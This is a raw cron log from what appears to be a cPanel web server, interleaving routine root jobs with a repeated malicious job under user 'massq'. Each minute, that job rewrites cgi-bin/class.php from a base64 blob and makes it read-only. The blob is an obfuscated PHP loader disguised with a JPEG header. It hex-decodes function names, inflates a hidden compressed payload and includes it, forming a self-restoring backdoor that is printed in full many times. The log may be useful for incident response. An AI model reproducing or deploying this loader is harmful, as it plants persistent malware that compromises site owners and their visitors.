Nov 13 22:57:01 server CROND[21048]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:58:01 server CROND[21912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:59:01 server CROND[22802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:00:01 server CROND[23669]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 23:00:01 server CROND[23670]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 23:00:01 server CROND[23673]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 23:00:01 server CROND[23672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:01:01 server CROND[24670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:01:01 server CROND[24671]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 23:01:01 server run-parts(/etc/cron.hourly)[24671]: starting 0anacron
Nov 13 23:01:01 server run-parts(/etc/cron.hourly)[24683]: finished 0anacron
Nov 13 23:02:01 server CROND[25548]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:03:01 server CROND[26419]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:04:01 server CROND[27339]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:05:01 server CROND[28198]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 23:05:01 server CROND[28199]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 23:05:01 server CROND[28201]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 23:05:01 server CROND[28200]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 13 23:05:01 server CROND[28202]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:06:01 server CROND[29220]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:07:01 server CROND[30103]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:08:01 server CROND[30953]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:09:01 server CROND[31882]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 23:09:01 server CROND[31883]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
